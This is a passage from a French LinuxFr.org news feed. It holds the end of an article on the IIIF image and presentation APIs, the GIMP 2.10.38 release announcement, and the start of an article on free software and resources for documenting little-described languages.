        Le découplage entre la couche serveur et la couche cliente, la modularité des composants logiciels, la ré-utilisabilité des ressources offrent une grande souplesse et réduit la dépendance à un logiciel ou un prestataire.

        La communauté des usagers et des développeurs est active.

        Comment ça marche ?

        Le manifeste est un élément essentiel de IIIF. C’est un document au format JSON-LD qui représente généralement un objet physique numérisé tel qu’un livre, une œuvre d’art, un numéro de journal, etc. Il peut également rassembler des éléments de provenances diverses. Il décrit l’ensemble du document, ses métadonnées, sa structure et référence les images et les médias qu’il embarque.

        Les liens des manifestes IIIF sont plus ou moins faciles à trouver dans les notices des catalogues. Une méthode simple consiste à rechercher le logo IIIF ou à explorer les informations fournies par les visualiseurs. Le site officiel de IIIF alimente un annuaire non exhaustif des sites et, site par site, fournit généralement un mode d’emploi pour récupérer les manifestes.

        Techniquement, IIIF comporte deux API principales, l’API Image et l’API Presentation qui fonctionnent de concert.

        API Image

        L’API Image fournit des informations basiques sur l’image ainsi que les pixels de l’image entière ou de zones à la demande.

        Elle se présente avec les éléments suivants :

        • une URL d’accès aux informations techniques d’une image, abcd1234 est un exemple d’identifiant :
          http://www.example.org/image-service/abcd1234/info.json
        • une URL à construire à la carte pour récupérer et manipuler tout ou partie de l’image en précisant la zone, la taille, l’orientation, la qualité et le format de l’image à produire.

        schéma de l’URL API Image

        Voilà ce que ça donne en pratique avec l’image de test. Attention ! LinuxFR met en cache les images, si vous souhaitez effectuer les manipulations, copiez et modifiez les paramètres des url ci-après.

        Le fichier info.jsonest le suivant :

        • https://stacks.stanford.edu/image/iiif/ff139pd0160/K90113-43/info.json

        • rendu homothétique de l’image entière avec une largeur de 300px

          https://stacks.stanford.edu/image/iiif/ff139pd0160/K90113-43/full/300,/0/default.jpg

          image entière rendue homothétique avec une largeur de 300px

        • détail de la même image

          https://stacks.stanford.edu/image/iiif/ff139pd0160/K90113-43/1680,1100,1300,1300/300,/0/default.jpg

          détail

        • rotation et transformations

          https://stacks.stanford.edu/image/iiif/ff139pd0160/K90113-43/1680,1100,1300,1300/150,/45/default.jpg

          détail

          https://stacks.stanford.edu/image/iiif/ff139pd0160/K90113-43/1680,1100,1300,1300/150,/0/bitonal.jpg

          détail
          https://stacks.stanford.edu/image/iiif/ff139pd0160/K90113-43/1680,1100,1300,1300/150,/0/gray.jpg

          le rendu en niveaux de gris ne fonctionne pas avec ce serveur IIIF.

        Pour en savoir plus consultez les spécifications de l’API Image (version 3.0 actuellement).

        L’API Presentation

        En complément à l’API Image, l’API Presentation fournit les propriétés d’un document IIIF : métadonnées, structures, annotations, etc.

        Principales composantes d’un Manifeste IIIF

        Principales composantes d’un Manifeste IIIF (source : Biblissima+ — Licence Ouverte / Open License 2.0)

        Il existe de nombreux visualiseurs pour afficher ces documents et les informations associées. On distingue alors dans différentes zones le rôle de chacune des deux API principales.

        API Image

        Source : Biblissima+ — Licence Ouverte / Open License 2.0.

        API Presentation

        Source : Biblissima+ — Licence Ouverte / Open License 2.0.

        À noter que le visualiseur optimise le trafic en ne demandant au serveur que la partie de l’image à afficher

        Pour en savoir plus consultez les spécifications de l’API Presentation (version 3.0 actuellement).

        Les autres API

        Voir la page des spécifications, extensions, traductions et travaux en cours.

        • Authorization Flow (version 2.0) - décrit un système de contrôle d’accès.
        • Change Discovery (version 1.0) - fournit les informations nécessaires pour découvrir et utiliser les ressources IIIF.
        • Content Search (version 2.0) - définit le mécanisme d’interopérabilité permettant d’effectuer des recherches dans les annotations textuelles associées à un objet.
        • Content State (version 1.0) - permet de référencer tout ou partie d’un manifeste IIIF et de décrire des modalités d’accès.

        Au-delà de l’image : l’audio, la vidéo et la 3D

        Les références à des ressources audio et vidéo sont prises en compte dans la version 3.0 de l’API de présentation IIIF. À noter qu’il n’existe pas pour l’audio et pour la vidéo d’équivalents de l’API Image, en effet, cet aspect est pris en charge par les navigateurs. Exemple : audio et vidéo d’un morceau musical associés à la partition.

        Il y a une forte demande pour la prise en compte de la 3D par IIIF. Un groupe de travail rassemble les institutions et les personnes intéressées. Il anime un dépôt Github qui rassemble les documents et expérimentations du groupe.

        IIIF et IA

        IIIF est de plus en plus utilisé par des dispositifs d’apprentissage et de reconnaissance automatique en raison de la facilité d’accès aux images entières ou à des zones, dans les définitions et qualités nécessaires. Il est aussi possible d’imaginer des IA qui génèrent automatiquement des manifestes annotés.

        La société française Teklia s’est spécialisé dans ce domaine. Elle vient d'annoncer le passage sous licence libre de sa plateforme Arkindex.

        Harvard Art Museums a créé AI Explorer qui mobilisent un certain nombre d’IA pour décortiquer des reproductions d’œuvres et des photographies.

        Le Consortium IIIF a mis en place un groupe de travail et il existe une formation en ligne sur le sujet.

        Commentaires : voir le flux Atom ouvrir dans le navigateur

        • ✇LinuxFr.org : les dépêches
        • GIMP 2.10.38 est sorti
          Note : cette dépêche est une traduction de l'annonce officielle de la sortie de GIMP 2.10.38 du 3 mai 2024 (en anglais). Cette (peut-être dernière) version stable de GIMP 2 apporte des rétroportages très demandés de GTK3, y compris une prise en charge améliorée des tablettes sous Windows. Un certain nombre de corrections de bugs et d’améliorations mineures sont également incluses dans cette version. lien nᵒ 1 : Annonce de la version 2.10.38Sommaire Nouvelles fonctionnalités et améliorations

        GIMP 2.10.38 est sorti

        Note : cette dépêche est une traduction de l'annonce officielle de la sortie de GIMP 2.10.38 du 3 mai 2024 (en anglais).

        Cette (peut-être dernière) version stable de GIMP 2 apporte des rétroportages très demandés de GTK3, y compris une prise en charge améliorée des tablettes sous Windows. Un certain nombre de corrections de bugs et d’améliorations mineures sont également incluses dans cette version.

        Sommaire

        Cette actualité répertorie les changements les plus notables et visibles. En particulier, nous ne répertorions pas toutes les corrections de bogues ou améliorations mineures. Pour obtenir une liste plus complète des modifications, vous devez vous référer au fichier NEWS ou consulter l'historique des commits.

        Nouvelles fonctionnalités et améliorations

        Prise en charge améliorée des tablettes sous Windows

        Avant cette version, GIMP prenait uniquement en charge la connexion de tablettes sous Windows via les pilotes WinTab plutôt que les nouveaux pilotes Windows Ink. Pour cette raison, nous avons reçu un certain nombre de rapports concernant des tablettes présentant des problèmes avec des boutons qui ne répondent pas, une sensibilité à la pression incorrecte, un mouvement de brosse retardé et des changements de position à mi-course.

        Ces problèmes étaient dus à une limitation de GTK2, car la prise en charge de Windows Ink a été implémentée dans GTK3 par Luca Bacci, contributeur de longue date. Pour cette version, Luca a eu la gentillesse de rétroporter ce support vers GTK2. Vous pouvez désormais basculer entre les pilotes WinTab et Windows Ink (s’ils sont pris en charge par votre ordinateur) dans la boîte de dialogue Préférences sous les paramètres du périphérique d’entrée.

        Windows Pointer Input API option in GIMP 2.10.38
        Windows Pointer Input API peut être changé maintenant - GIMP 2.10.38

        Rétroportages d’autres fonctionnalités de GTK3

        Luca a également contribué à plusieurs autres fonctionnalités portées de GTK3 à GTK2. Certaines des améliorations rétroportées incluent la mise à jour de la taille de la boîte de dialogue d’impression afin que les boutons ne soient pas coupés, la résolution de problèmes avec les boîtes de dialogue contextuelles apparaissant derrière les précédentes et plusieurs correctifs concernant la saisie au clavier.

        Ces améliorations concernent principalement Windows et sont déjà incluses dans la version de développement 2.99. Cependant, nous sommes très heureux que ces améliorations de la qualité de vie soient désormais disponibles dans cette version stable de GIMP 2.10 !

        Corrections de bogues

        Crashs récents

        Deux crashs fréquemment signalés ont été corrigés. Un changement dans GLib 2.80 a exposé un bogue dans notre processus de fermeture et provoqué un crash à la sortie. Luca Bacci a une fois de plus conçu un correctif pour la version 2.10.38 et la prochaine version candidate 3.0. Un autre crash que certains utilisateurs rencontraient lors de très petites sélections a également été corrigé.

        Autres correctifs

        Un certain nombre d’autres petits bugs ont été corrigés dans cette version. Parmi eux :

        • Les PNG indexés avec transparence sont désormais exportés avec les bonnes couleurs
        • Anders Jonsson a corrigé les plages d’entrée de plusieurs filtres tels que Waves et Distort
        • Le champ de personnalisation de la barre de titre prend désormais en charge les caractères UTF-8
        • Les commentaires d’images existants ne « fuient » plus dans les images nouvellement créées

        Statistiques de sortie

        Depuis GIMP 2.10.36 :

        • 16 rapports ont été clos comme CORRIGÉS dans la version 2.10.38
        • 9 demandes de fusion ont été exécutées
        • 81 commits ont été poussés
        • 1 nouvelle traduction a été ajoutée : kabyle
        • 16 traductions ont été mises à jour : biélorusse, portugais brésilien, anglais britannique, danois, géorgien, allemand, grec, hongrois, islandais, italien, norvégien nynorsk, slovène, espagnol, suédois, turc, espagnol

        25 personnes ont apporté des modifications ou des correctifs à la base de code de GIMP 2.10.36 (l’ordre est déterminé par le nombre de commits) :

        • 7 développeurs : Alx Sa, Jehan, Luca Bacci, Jacob Boerema, Lukas Oberhuber, lillolollo, Øyvind Kolås
        • 19 traducteurs : Kolbjørn Stuestøl, Sabri Ünal, Bruce Cowan, Yuri Chornoivan, Vasil Pupkin, Anders Jonsson, Rodrigo Lledó, Jürgen Benvenuti, Sveinn í Felli, Andi Chandler, Juliano de Souza Camargo, Ekaterine Papava, Balázs Úr, Martin, Philipp Kiemle, Alan Mortensen, Dimitris Spingos, Marco Ciampa, Yacine Bouklif

        Contributions sur d’autres dépôts du GIMPverse (l’ordre est déterminé par le nombre de commits) :

        • La branche gimp-2-10 de gimp-macos-build (scripts de build macOS) a eu 30 commits depuis la version 2.10.36 par 2 contributeurs : Lukas Oberhuber, Bruno Lopes.
        • La version flatpak est composée de 11 commits par 3 contributeurs : Jehan, Hubert Figuière et Bruno Lopes.
        • Notre site Web principal a eu 42 commits depuis la sortie du 2.99.18 par 4 contributeurs : Jehan, Alx Sa, Andre Klapper et Lukas Oberhuber.
        • Notre site Web du développeur a enregistré 34 commits depuis la version 2.99.18 par 6 contributeurs : Bruno Lopes, Jehan, Alx Sa, bootchk, Alpesh Jamgade et Robin Swift.
        • Notre documentation 2.10 a eu 35 commits depuis la version 2.10.36 par 8 contributeurs : Alan Mortensen, Anders Jonsson, Rodrigo Lledó, Jacob Boerema, Kolbjørn Stuestøl, Marco Ciampa, Andi Chandler et Vittor Paulo Vieira da Costa.

        N’oublions pas de remercier toutes les personnes qui nous aident à trier dans Gitlab, rapportent des bugs et discutent avec nous d’éventuelles améliorations. Notre communauté est également profondément reconnaissante envers les guerriers d’Internet qui gèrent nos différents canaux de discussion ou comptes de réseaux sociaux tels que Ville Pätsi, Liam Quin, Michael Schumacher et Sevenix !

        Remarque : compte tenu du nombre de composants dans GIMP et son univers, et de la manière dont nous obtenons des statistiques via les scripts git, des erreurs peuvent se glisser dans ces statistiques. N’hésitez pas à nous dire si nous avons manqué ou mal catégorisé certains contributeurs ou contributions.

        Nouvelles de l’équipe et processus de publication

        Idriss, contributeur du GSoC 2023, a récemment obtenu un accès « développeur » sur le référentiel source principal, pour le travail formidable qu’il a continué depuis lors.

        Ville Pätsi, contributeur de très longue date (plus de 20 ans !), sur divers sujets (design, thématisation et plus) a obtenu l’accès « reporter » à Gitlab pour aider au tri et à l’organisation directement dans le tracker.

        Autour de GIMP

        Des nouvelles des miroirs

        Depuis nos dernières nouvelles, 3 nouveaux miroirs accueillent GIMP :

        • Clarkson Open Source Institute, États-Unis
        • FCIX, Suisse
        • Tomás Leite de Castro, Portugal

        Cela nous amène à un total de 49 miroirs répartis dans le monde.

        Les miroirs sont importants, car ils aident le projet en partageant la charge de dizaines de milliers de téléchargements quotidiens. De plus, en disposant de miroirs répartis à travers le monde, nous garantissons que tous aient un accès rapide au téléchargement de GIMP.

        Sponsors d’infrastructure et de matériel

        Nous avons amélioré la page sponsor avec 2 sections :

        • "Infrastructure Sponsors" répertorie les sponsors qui aident GIMP au niveau de l’infrastructure :

          • CircleCI et MacStadium rendent possible notre plateforme d’intégration continue macOS.
          • Arm Ltd. sponsorise et administre plusieurs exécuteurs « Aarch64 » sur Windows pour notre version ARM 64 bits pour Windows ; et Microsoft avait offert des frais uniques pour leur Microsoft Store.
        • "Hardware Sponsors" répertorie les sponsors qui ont fait don de matériel aux contributeurs pour les aider dans leur travail de développement :

          • Arm Ltd. a récemment fait don d’un kit de développement Windows 2023 pour prendre en charge notre récent support Aarch64/Windows.
          • Purism a fait don d’un Librem Mini en 2021.

        Télécharger GIMP 2.10.38

        Vous trouverez toutes nos builds officielles sur le site officiel de GIMP (gimp.org) :

        • Flatpaks Linux pour x86 et ARM (64 bits)
        • Installateur Windows universel pour x86 (32 et 64 bits) et pour ARM (64 bits)
        • Paquets macOS DMG pour le matériel Intel
        • Paquets macOS DMG pour le matériel Apple Silicon

        D’autres paquets réalisés par des tiers devraient évidemment suivre (paquets des distributions Linux ou *BSD, etc.).

        Et ensuite ?

        C’est clairement l’une des plus petites versions de la série 2.10, et elle pourrait être notre dernière. Nous verrons, même si nous savons aussi que certaines personnes restent bloquées plus longtemps que d’autres sur des séries plus anciennes (en particulier lors de l’utilisation des distributions Long Term Support (LTS) de systèmes d’exploitation de logiciels libres), si nous pourrions donc faire (si nous pensons que c’est nécessaire), une version 2.10.40 avec des corrections de bogues juste avant ou juste après la sortie de GIMP 3.0.0, en guise de conclusion.

        Dans tous les cas, nous arrêtons désormais le rétroportage des fonctionnalités de la série 2.10. Ces améliorations de la prise en charge des tablettes graphiques pour Windows sont suffisamment importantes pour qu’elles aient dû être intégrées ; mais à partir de maintenant, nous voulons nous concentrer uniquement sur la sortie de GIMP 3.0.0.

        Maintenant, vous vous demandez peut-être quand cela se produira-t-il ? Très bientôt ! Nous sommes sur le dernier sprint vers la release candidate. Cela inclut de nombreuses corrections de bugs, mais également des modifications de l’API en cours. Nous vous tiendrons au courant !

        N’oubliez pas que vous pouvez faire un don et financer personnellement les développeurs de GIMP, comme moyen de redonner et accélérer le développement de GIMP. L’engagement communautaire permet au projet de se renforcer ! 💪🥳

        Commentaires : voir le flux Atom ouvrir dans le navigateur

        • ✇LinuxFr.org : les dépêches
        • Les langues peu documentées et le libre : quelques enjeux scientifiques
          Comme beaucoup de domaines scientifiques, la documentation de la diversité linguistique entretient une relation forte avec les mondes du Libre. Dans cette dépêche, je vous propose de découvrir ce domaine à travers la présentation de plusieurs logiciels et ressources libres ou en accès ouvert. La documentation des langues étant un thème peu courant sur LinuxFr.org, on commencera par une présentation de cette problématique. Nous continuerons par une description des deux ressources principales exis

        Les langues peu documentées et le libre : quelques enjeux scientifiques

        Comme beaucoup de domaines scientifiques, la documentation de la diversité linguistique entretient une relation forte avec les mondes du Libre. Dans cette dépêche, je vous propose de découvrir ce domaine à travers la présentation de plusieurs logiciels et ressources libres ou en accès ouvert. La documentation des langues étant un thème peu courant sur LinuxFr.org, on commencera par une présentation de cette problématique. Nous continuerons par une description des deux ressources principales existantes pour cataloguer et se repérer au sein de cette diversité linguistique. Je parlerai ensuite d’ELAN et de FLEX, deux logiciels utilisés pour annoter des enregistrements audio-visuels, une étape clef dans l’analyse linguistique, et qui permet le partage et la réutilisation de ces enregistrements. Enfin, après un court passage sur la question de l’archivage, je présenterai deux compilations de corpus de documentation en accès libre, une pratique récente qui permet de nouveaux questionnements quantitatifs sur les langues orales peu documentées, et qui contribue également à la transparence et la traçabilité des analyses linguistiques.

          Sommaire

          L’étude des langues à travers le monde

          Actuellement, environ 7000 langues ont été recensées à travers le monde. Ce chiffre ne peut être qu’une approximation car, il n’y a pas de consensus sur la définition de ce qu’est une langue. Une difficulté par exemple est de définir à quel moment une langue est distincte d’une autre. Lorsqu’il y a variation, mais intercompréhension, de nombreux linguistes s’accordent à dire qu’il s’agit alors de dialectes d’une même langue, et donc, lorsqu’il n’y a pas intercompréhension, alors il s’agit différentes langues. Cette perspective considère que tout le monde parle un dialecte (que ce soit celui de référence, ou un plus régional comme celui de Paris, de Marseille, du Québec), la langue n’étant qu’une abstraction permettant de regrouper les diverses pratiques langagières. En ce qui concerne l’intercompréhension, ce critère n’est malheureusement pas absolu car elle peut varier selon les personnes et leur parcours personnel. Et lorsqu’on considère l’évolution d’une langue à travers le temps, sa diachronie, définir ce qu’est une même langue à travers ses évolutions temporelles se complexifie d’autant plus.

          Si certaines langues ont émergé récemment, on pense assez souvent aux langues dites créoles (le Bichelamar, les créoles malais, à Madagascar ou au Cap Vert), ou également lorsque certains dialectes se distinguent suffisamment pour ne plus être intercompréhensibles, la tendance actuelle est surtout à la disparition massive des langues. Cette disparition est souvent rapportée à travers la mort des derniers locuteurs et locutrices, on peut aussi considérer qu’une langue meurt lorsqu’elle n’est plus parlée d’une part, et qu’elle disparait si elle n’est pas documentée. Si certains aujourd’hui se questionnent sur la corrélation entre la diversité culturelle et la diversité écologique, il est évident que la disparition des langues correspond également à des inégalités et des tensions socio-politiques.

          Bref, la documentation des langues, c’est un sujet actuel, et d’un point de vue scientifique, la perte de cette diversité aura de tristes conséquences sur la connaissance des langues et de l’univers des possibles languagiers, encore souvent sous-estimé :

          • l’article The myth of language universals : Language diversity and its importance for cognitive science d’Evans donne un bel aperçu du débat qui existe entre les linguistes fonctionnalistes, notamment les approches générativistes telles que proposées par Noam Chomsky. Pourtant, régulièrement à travers la documentation des langues, des catégories cognitives jusque-là non-soupçonnés, voire rejetées car non-observées, sont identifiés. Nous nous sommes rendu compte récemment qu’un quart des langues grammaticalisaient l’emploi d’évidentiels, ces morphèmes qui indiquent la source d’une information. Au niveau de l’odorat, des neurologistes pensaient que si nous n’avions pas de termes abstraits pour catégoriser les odeurs, c’était lié au fait que notre cerveau ne le permettait pas. La description des termes liés à l’odorat en Jahai (par ici si vous souhaitez écouter du Jahai), qui possède donc des termes spécifiques pour catégoriser les odeurs, a montré le contraire.
          • accéder à des facettes non-matérielles de la préhistoire, non-accessibles à travers l’archéologie. La documentation des langues nous permet d’accéder, dans une certaine mesure, aux termes et aux concepts utilisés durant les différentes préhistoires à travers la comparaison des langues et de leurs structures. Les travaux sont nombreux et anciens en ce qui concerne les langues européennes, mais les recherches en linguistique historique (ou comparée) portent également sur toutes les langues connues à travers le monde. Les chercheurs et chercheuses de ce domaine collaborent assez régulièrement avec les archéologues pour retracer les mouvements de population.
          • mettre au point des systèmes d’écriture pour les langues orales, ou simplement des traitements de texte adapté aux écritures existantes. Parfois, certaines personnes savent écrire dans la ou les langues officielles du pays, mais ne connaissent pas d’écriture pour une de leurs langues régionales. C’est ainsi souvent le cas pour les personnes au Vanuatu. Le pays reconnait même le droit d’enseigner les langues locales à l’école, mais il n’existe que très rarement des ressources (que ce soit les personnes ou les manuels) pour cela. Parfois, les gens ne connaissent tout simplement pas de système d’écriture.

          Quelques concepts et termes liés à la documentation des langues

          Comme tout domaine de recherche, la terminologie et les concepts linguistiques évoluent au gré des discussions et peut se distinguer de l’usage attendu des termes. Une étape importante dans la documentation d’une langue est la production d’une grammaire décrivant les structures linguistiques de cette langue. De nombreux linguistes estiment alors qu’on peut dire que cette langue est décrite. Il ne faut pas se tromper cependant, aucun linguiste ne considère qu’une langue est alors complètement décrite. Une grammaire ne contient que quelques aspects estimés actuellement essentielles par les linguistes de terrain. Ces points sont, le plus souvent, une description du système phonologique d’une langue (c’est-à-dire comment les sons d’une langue sont organisés les uns vis-à-vis des autres), des morphèmes et des processus morphologiques associés (la conjugaison, l’expression de la possession, les déclinaisons, les genres, les classifications, etc.) d’une langue et souvent un début de description des processus syntaxiques. Il existe de nombreuses approches pour décrire les faits linguistiques, et la description d’une langue se fait souvent en dialogue avec les pratiques et terminologies qui ont été employées dans l'aire linguistique concernée.

          Depuis l’article Documentary and descriptive linguistics de Nicholaus Himmelman, qui a promu la distinction entre la documentation linguistique et la description linguistique, on accorde beaucoup plus d’importance à la production d’un corpus d’enregistrements annotés. On dit alors d’une langue qu’elle est documentée si des enregistrements annotés, de préférences audio-visuels, de cette langue existe. Enfin, il existe la problématique de l’outillage d’une langue, c’est-à-dire si ses locuteurs et locutrices ont accès ou non aux outils informatisés, du traitement texte aux dictionnaires informatisés en passant par la reconnaissance vocale, la transcription automatique, voire aujourd’hui aux modèles de langues et autres ressources nécessitant des corpus beaucoup plus grands.

          Les catalogues et base de données pour l’identification des langues

          Une problématique récurrente dans le domaine des langues est de clairement identifier la langue sur laquelle on travaille. Cependant, identifier une langue, ce qui relève ou non de cette langue, où elle est parlée, est l’enjeu de nombreux débats, souvent politique, et n’est pas une tâche simple. Quoi qu’il en soit, il existe des ressources, bases de données, qui proposent d’associer à des noms de langues, endonymes ou exonymes, des codes pour rendre leur identification univoque.

          L’Ethnologue et l’ISO 639 : une norme gérée par le Summer Institute of Linguistics (SIL)

          Ethnologue, Languages of the World, ou plus simplement l’Ethnologue, est une base de données développée et maintenu par l’organisme évangélique SIL, Summer Institute of Linguistic depuis 1951. Elle vise à recenser toutes les langues du monde. L’ISO 639 est une norme issue de ce catalogue, également maintenue par le SIL. Cet organisme est très actif au niveau de la documentation des langues et de la création d’écritures, car un de ses objectifs est de traduire la Bible dans toutes les langues du monde. Historiquement, l’Ethnologue est un des premiers catalogues dont l’objet a été de recenser les langues. Si cette norme semble le plus souvent suffisamment exhaustive pour les besoins liés à l’informatique, après tout, les internautes consultent Internet en très peu de langue, d’un point de vue linguistique, il possède de nombreuses lacunes.

          La liste SIL des langues

          Un premier souci est la nécessité d’avoir une granularité plus importante que simplement la langue. Les linguistes travaillent sur des dialectes et des variétés, sur des familles de langues, et parfois ont travaillé sur des distinctions qui n’ont parfois plus cours. Afin de pouvoir associer ces ressources à des langues, ou des entités linguistiques particulières, l’approche du SIL ne suffit pas.

          Enfin, la gestion du catalogue par un organisme religieux, donc avec parfois d’autres enjeux qu’uniquement scientifiques, le fait qu’il s’agisse d’une norme, donc la nécessité de collaborer avec l’ISO, et le fait que seule une partie du catalogue est accessible (il faut un abonnement pour accéder à la totalité de la ressource) rend la ressource moins pertinente pour de nombreux linguistes. Ces limites ont poussé des linguistes à proposer une ressource alternative.

          Glottocode : par le Max Planck Institute for Evolutionary Anthropology.

          Le projet Glottolog, initialement développé par Sebastian Nordhoff et Harald Hammarström, catalogue non seulement les langues du monde actuelles et passés, les familles de langues et leurs différentes branches, mais également « les restes » des hypothèses de langues ou de regroupements historiques. Cette granularité permet de retrouver les documents associés à chacun de ces objets. Si le catalogue est dédié aux langues moins connues, les langues les plus centrales sont elles aussi répertoriées. Il s’agit actuellement du catalogue mis en avant par les linguistes documentant les langues à travers le monde. L’application Glottolog est disponible via la licence MIT.

          Aperçu du Glottolog à travers la liste des langues

          Si aux premiers abords, la liste des langues du Glottolog ne se distingue pas franchement de celle de l’ISO 639, c’est parce qu’il faut regarder plus en détail pour comprendre les différences essentielles entre les deux ressources. Notons tout de même la colonne « Child dialects » : « Dialectes enfants », et les champs vides au niveau des colonnes Top-level-family et pour la langue Abai Tubu-Abai Sembuak dans la colonne « ISO-639-3 ». La colonne « Child dialects » représente une information qui n’est pas documenté dans l’ISO 639, ce n’est pas son objet après tout, mais qui est intéressant pour les linguistes travaillant sur cette langue, indiquant qu’un minimum de données sociolinguistiques sont disponibles. Les champs vides dans la colonne « Top-level family » sont dus au fait que ces langues sont des isolats, c’est-à-dire que la linguistique comparée ne trouve pas de correspondances significatives entre cette langue et d’autres langues qui permettraient de les regrouper en une famille. Enfin, le vide dans la colonne ISO-963-3 révèle que la langue Abai Tubu-Abai Sembuak ne possède pas d’entrée dédiée dans la norme.

          Ainsi, lorsque l’on consulte une langue en particulière, ici le Nisvai, on voit apparaitre tous les embranchements existants associés à cette langue :

          La langue Nisvai dans le Glottolog

          Cette vue de l’arborescence associée à une langue particulière révèle tous les embranchements auxquels peut⁻être associée une langue. Et à chacun de ces embranchements, si des ressources linguistiques ont été identifiées par les mainteneurs du Glottolog, celles peuvent être proposées. Cette fonction permet aux linguistes de trouver des ressources sur les langues proches, non pas géographiquement (même si en pratique c’est le plus souvent le cas), mais d’un point de vue généalogique.

          Les autres

          Il existe d’autres initiatives pour cataloguer les langues du monde, que ce soit la liste proposée par Wikipedia, la liste de la CIA ou encore The Linguasphere Register, mais ces initiatives ne sont pas aussi pertinentes du point de vue de la documentation des langues.

          Documenter les langues

          ELAN : des schémas d’annotation flexibles

          ELAN est un des logiciels libres (GPL3) les plus utilisés par les linguistes pour annoter des enregistrements audio et vidéo. Il permet d’élaborer des structures d’annotation complexes permettant ainsi de rendre compte des analyses que les linguistes souhaitent associer à un enregistrement. Ces couches d’annotation sont reliées les unes aux autres par des relations logiques, avec le plus souvent une couche de référence indexée temporellement à l’enregistrement. Les annotations les plus courantes sont une transcription, une traduction et une annotation morphologique. Mais des nombreuses autres analyses peuvent être incluses, que ce soit les parties du discours, les références et anaphores, l'animéité, mais aussi les gestes, la structuration du discours, les signes pour les sourds et malentendants.

          Extrait d’une narration présente dans DoReCo, et vue sur les différentes couches d’annotation pouvant être associés à un enregistrement.

          Dans cette capture d’écran issu d’un texte de DoReCo retravaillé par l’auteur, on aperçoit un extrait de quelques secondes d’une narration nisvaie. Il s’agit d’un des modes de visualisation des annotations proposées par ELAN pour représenter les différentes couches d’annotation. Certaines de ces annotations ont été réalisées à la main par l’auteur, d’autres ont été retravaillées par les algorithmes mis en place par DoReCo, puis manuellement corrigés. Enfin, il y a également des couches d’annotation de la prosodie par le biais de SLAM+.

          FLEX : gérer un projet de documentation

          FLEX est un logiciel développé par le SIL et dont le code source est régie par la licence LGPL 2.1. Il est conçu davantage pour coordonner l’ensemble d’une documentation linguistique, de la gestion des textes à l’élaboration d’un dictionnaire, en passant par les analyses linguistiques. En revanche, il ne gère pas réellement l’annotation d’enregistrements. De nombreux linguistes l’utilisent en complément d’ELAN.

          Si le logiciel est prometteur sur le papier, à chaque fois que je l’ai essayé, j’ai été rebuté par son côté usine à gaz, et surtout ses nombreux plantages notamment lorsqu’on essaie de gérer des fichiers multimédia avec. Et il en est de même pour les autres logiciels développé par le SIL, tel que SayMore pour gérer les métadonnées des enregistrements, WeSay pour faire des dictionnaires en collaboration avec les locuteurs et locutrices, à chaque fois que je les ai essayés, enthousiasmé par leurs fonctionnalités, j’ai été déçu par le fait qu’ils ne fonctionnaient pas correctement sur mon ordinateur.

          Aperçu de Flex

          Cette capture d’écran illustre un des modes de saisie de FLEX, ici la vue tabulaire du lexique, qui permet de rentrer et gérer les définitions des lexèmes (les entrées du dictionnaire) de manière assez rapide. On aperçoit dans la partie en haut à gauche les autres modes d’édition du lexique, et en dessous les autres catégories liées à la gestion d’un projet de documentation : Texts & Words, Grammar, Notebook et Lists. C’est à travers la catégorie Texts & Words que l’on peut par exemple importer des textes transcrits, voire des fichiers ELAN pour peupler la base de données lexicales. Grammar permet de décrire les paradigmes grammaticaux, FLEX propose d’ailleurs quelques algorithmes qui aident à la construction des paradigmes grammaticaux. Notebook et Lists servent à la gestion du projet, le premier pour prendre des notes diverses, et le second pour créer des listes, en particulier des tâches encore à réaliser.

          Et il y en a bien d’autres encore

          Il existe de nombreux autres logiciels similaires, tels qu’EXmaralda pour l’annotation des enregistrements (surtout utilisé en Allemagne à ma connaissance), Sonal (non libre, et dont le développement semble arrêté) qui est utilisé par les sociologues et les anthropologues pour une annotation thématique de leurs entretiens, Anvil, qui semble intéressant mais que je n’ai jamais réellement vu utilisé, ou enfin le vieux Transcriber qui lui était encore employé par certains projets il y a quelques années. Rentrer dans le détail de tous ces logiciels dépasserait le cadre d’une dépêche comme celle-ci, mais énumérer la diversité logicielle montre qu’il s’agit d’un secteur un minimum dynamique, d’ailleurs la question de la transcription et de l’annotation des enregistrements ne se limite pas du tout qu’au domaine de la documentation des langues du monde.

          L’archivage et la compilation de corpus

          Afin de conserver et partager les corpus et donnée enregistrées par les linguistes, chercheurs voire simplement les personnes ayant documenté une langue, il existe des archives, le plus souvent en ligne. Il y a en France par exemple Pangloss, géré par le LACITO, dédié aux langues orales, ou ORTOLANG, plus générique, pour les corpus de langue. En Océanie, il y a Paradisec. Il y a aussi ELAR, autrefois à Londres, et qui a déménagé récemment à Berlin récemment.

          Ces archives proposent diverses interfaces pour déposer, gérer et parfois même consulter les enregistrements et les annotations réalisés par les linguistes et leurs collaborateurs·e·s. À noter que pour ces archives, Ortolang décrit son architecture logicielle qui repose sur des briques ouvertes, en revanche concernant Paradisec et Pangloss, bien que leur statuts soient sûrement similaires du fait de la démarche générale de ses ingénieurs, je n’ai pas trouvé de liens vers les logiciels employés. Quant à ELAR, le logiciel utilisé est Preservica, une solution propriétaire qui, quand on a le malheur de devoir l’utiliser, fonctionne bien lentement.

          La compilation de corpus, si elle se rapproche de l’archivage en ce qu’il s’agit également de recueillir, conserver et publier les corpus des linguistes, correspond également à une édition particulière de ces corpus. La compilation de corpus est réalisé à travers la mise en place de processus de qualité, d’annotations et de conventions particulières. Les deux compilations de corpus présentées ici sont des compilations de corpus de documentation de langues orales. Les enregistrements ont été systématiquement annotés en utilisant une convention nommée les gloses interlinaires (le nom fait en fait référence à la pratique ancienne d’insérer des explications entre les lignes d’un texte. En pratique aujourd’hui, ce n’est plus vraiment ce que font les linguistes, puisque le travail est informatisé et les annotations ne sont plus entre les lignes, mais, le terme a cependant été conservé).

          DoReCo

          DoReCo est une compilation de 52 corpus en accès ouvert (NdR : auquelle l’auteur a contribué). La compilation a nécessité la mise en place de processus de qualité afin d’assurer la cohérence de l’ensemble et de fournir un certain nombre de garanties quant aux qualités du corpus.

          Les langues dans DoReCo

          Une première qualité, et l’une des originalités de DoReCo, est de proposer un alignement temporel est très fin. La durée de chaque phonème, de chaque morphèmes, de chaque mot (ici suivant la définition de la personne à l’origine du corpus, car la définition d’un mot n’a rien d’une évidence) et enfin de chaque groupe de souffle est fournie. Une deuxième qualité a été de s’assurer que pour l’ensemble des retranscriptions, chacun des termes et des morphèmes possède une glose, c’est-à-dire qu’ils possèdent une explication linguistique.

